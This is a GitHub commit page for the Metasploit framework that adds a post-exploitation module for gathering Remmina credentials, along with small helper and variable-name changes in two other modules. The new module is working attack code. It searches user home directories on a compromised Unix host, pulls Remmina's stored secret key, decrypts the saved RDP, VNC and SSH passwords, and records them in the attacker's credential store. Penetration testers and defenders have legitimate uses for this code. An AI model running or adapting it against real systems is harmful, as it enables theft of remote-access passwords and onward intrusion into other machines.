Skip to content

Commit 7daedac

Browse files
committed
Land rapid7#3972 @jhart-r7's post gather module for remmina Remmina
* Gather credentials managed with Remmina
2 parents 45d219c + 54de805 commit 7daedac

File tree

4 files changed

+215
-10
lines changed

4 files changed

+215
-10
lines changed

lib/msf/core/post/file.rb

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,23 @@ def pwd
3131
end
3232
end
3333

34+
# Returns a list of the contents of the specified directory
35+
# @param directory [String] the directory to list
36+
# @return [Array] the contents of the directory
37+
def dir(directory)
38+
if session.type == 'meterpreter'
39+
return session.fs.dir.entries(directory)
40+
else
41+
if session.platform =~ /win/
42+
return session.shell_command_token("dir #{directory}").split(/[\r\n]+/)
43+
else
44+
return session.shell_command_token("ls #{directory}").split(/[\r\n]+/)
45+
end
46+
end
47+
end
48+
49+
alias ls dir
50+
3451
#
3552
# See if +path+ exists on the remote system and is a directory
3653
#

modules/exploits/windows/local/ikeext_service.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -163,15 +163,15 @@ def check_write_access(path)
163163

164164
def check_dirs
165165
print_status("Attempting to create a non-existant PATH dir to use.")
166-
@non_existant_dirs.each do |dir|
166+
@non_existant_dirs.each do |directory|
167167
begin
168-
client.fs.dir.mkdir(dir)
169-
if exist?(dir)
170-
register_file_for_cleanup(dir)
171-
return dir
168+
client.fs.dir.mkdir(directory)
169+
if exist?(directory)
170+
register_file_for_cleanup(directory)
171+
return directory
172172
end
173173
rescue Rex::Post::Meterpreter::RequestError => e
174-
vprint_status("Unable to create dir: #{dir} - #{e}")
174+
vprint_status("Unable to create dir: #{directory} - #{e}")
175175
end
176176
end
177177

Lines changed: 188 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,188 @@
1+
# encoding: binary
2+
##
3+
# This module requires Metasploit: http://metasploit.com/download
4+
# Current source: https://github.com/rapid7/metasploit-framework
5+
##
6+
7+
require 'msf/core'
8+
9+
class Metasploit3 < Msf::Post
10+
include Msf::Post::File
11+
include Msf::Post::Unix
12+
13+
def initialize(info = {})
14+
super(update_info(
15+
info,
16+
'Name' => 'UNIX Gather Remmina Credentials',
17+
'Description' => %q(
18+
Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.
19+
These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)
20+
stored in (relatively) plain text in a file that must be properly protected.
21+
),
22+
'License' => MSF_LICENSE,
23+
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
24+
'Platform' => %w(bsd linux osx unix),
25+
'SessionTypes' => %w(shell meterpreter)
26+
))
27+
end
28+
29+
def run
30+
creds = extract_all_creds
31+
creds.uniq!
32+
if creds.empty?
33+
vprint_status('No Reminna credentials collected')
34+
else
35+
vprint_good("Collected #{creds.size} sets of Remmina credentials")
36+
cred_table = Rex::Ui::Text::Table.new(
37+
'Header' => 'Remmina Credentials',
38+
'Indent' => 1,
39+
'Columns' => %w(Host Port Service User Password)
40+
)
41+
42+
creds.each do |cred|
43+
cred_table << cred
44+
report_credential(cred[3], cred[4])
45+
end
46+
47+
print_line(cred_table.to_s)
48+
end
49+
end
50+
51+
def decrypt(secret, data)
52+
c = OpenSSL::Cipher::Cipher.new('des3')
53+
key_data = Base64.decode64(secret)
54+
# the key is the first 24 bytes of the secret
55+
c.key = key_data[0, 24]
56+
# the IV is the last 8 bytes of the secret
57+
c.iv = key_data[24, 8]
58+
# passwords less than 16 characters are padded with nulls
59+
c.padding = 0
60+
c.decrypt
61+
p = c.update(Base64.decode64(data))
62+
p << c.final
63+
# trim null-padded, < 16 character passwords
64+
p.gsub(/\x00*$/, '')
65+
end
66+
67+
# Extracts all remmina creds found anywhere on the target
68+
def extract_all_creds
69+
creds = []
70+
user_dirs = enum_user_directories
71+
if user_dirs.empty?
72+
print_error('No user directories found')
73+
return
74+
end
75+
76+
vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories")
77+
# walk through each user directory
78+
enum_user_directories.each do |user_dir|
79+
remmina_dir = ::File.join(user_dir, '.remmina')
80+
pref_file = ::File.join(remmina_dir, 'remmina.pref')
81+
next unless file?(pref_file)
82+
83+
remmina_prefs = get_settings(pref_file)
84+
next if remmina_prefs.empty?
85+
86+
if (secret = remmina_prefs['secret'])
87+
vprint_status("Extracted secret #{secret} from #{pref_file}")
88+
else
89+
print_error("No Remmina secret key found in #{pref_file}")
90+
next
91+
end
92+
93+
# look for any \d+\.remmina files which contain the creds
94+
cred_files = dir(remmina_dir).map do |entry|
95+
::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/
96+
end
97+
cred_files.compact!
98+
99+
if cred_files.empty?
100+
vprint_status("No Remmina credential files in #{remmina_dir}")
101+
else
102+
creds |= extract_creds(secret, cred_files)
103+
end
104+
end
105+
106+
creds
107+
end
108+
109+
def extract_creds(secret, files)
110+
creds = []
111+
files.each do |file|
112+
settings = get_settings(file)
113+
next if settings.empty?
114+
115+
# get protocol, host, user
116+
proto = settings['protocol']
117+
host = settings['server']
118+
case proto
119+
when 'RDP'
120+
port = 3389
121+
user = settings['username']
122+
when 'VNC'
123+
port = 5900
124+
domain = settings['domain']
125+
if domain.blank?
126+
user = settings['username']
127+
else
128+
user = domain + '\\' + settings['username']
129+
end
130+
when 'SFTP', 'SSH'
131+
# XXX: in my testing, the box to save SSH passwords was disabled
132+
# so this may never work
133+
user = settings['ssh_username']
134+
port = 22
135+
else
136+
print_error("Unsupported protocol: #{proto}")
137+
next
138+
end
139+
140+
# get the password
141+
encrypted_password = settings['password']
142+
password = nil
143+
unless encrypted_password.blank?
144+
password = decrypt(secret, encrypted_password)
145+
end
146+
147+
if host && user && password
148+
creds << [ host, port, proto.downcase, user, password ]
149+
else
150+
missing = []
151+
missing << 'host' unless host
152+
missing << 'user' unless user
153+
missing << 'password' unless password
154+
vprint_error("No #{missing.join(',')} in #{file}")
155+
end
156+
end
157+
158+
creds
159+
end
160+
161+
# Reads key=value pairs from the specified file, returning them as a Hash of key => value
162+
def get_settings(file)
163+
settings = {}
164+
read_file(file).split("\n").each do |line|
165+
if /^\s*(?<setting>[^#][^=]+)=(?<value>.*)/ =~ line
166+
settings[setting] = value
167+
end
168+
end
169+
170+
vprint_error("No settings found in #{file}") if settings.empty?
171+
settings
172+
end
173+
174+
def report_credential(user, pass)
175+
credential_data = {
176+
workspace_id: myworkspace_id,
177+
origin_type: :session,
178+
session_id: session_db_id,
179+
post_reference_name: self.refname,
180+
username: user,
181+
private_data: pass,
182+
private_type: :password
183+
}
184+
185+
create_credential(credential_data)
186+
end
187+
188+
end

modules/post/windows/gather/credentials/bulletproof_ftp.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -171,10 +171,10 @@ def get_bookmarks(path)
171171
end
172172

173173
def check_bulletproof(user_dir)
174-
session.fs.dir.foreach(user_dir) do |dir|
175-
if dir =~ /BulletProof Software/
176-
vprint_status("BulletProof Data Directory found at #{user_dir}\\#{dir}")
177-
return "#{user_dir}\\#{dir}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
174+
session.fs.dir.foreach(user_dir) do |directory|
175+
if directory =~ /BulletProof Software/
176+
vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")
177+
return "#{user_dir}\\#{directory}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
178178
end
179179
end
180180
return nil

0 commit comments

Comments
 (0)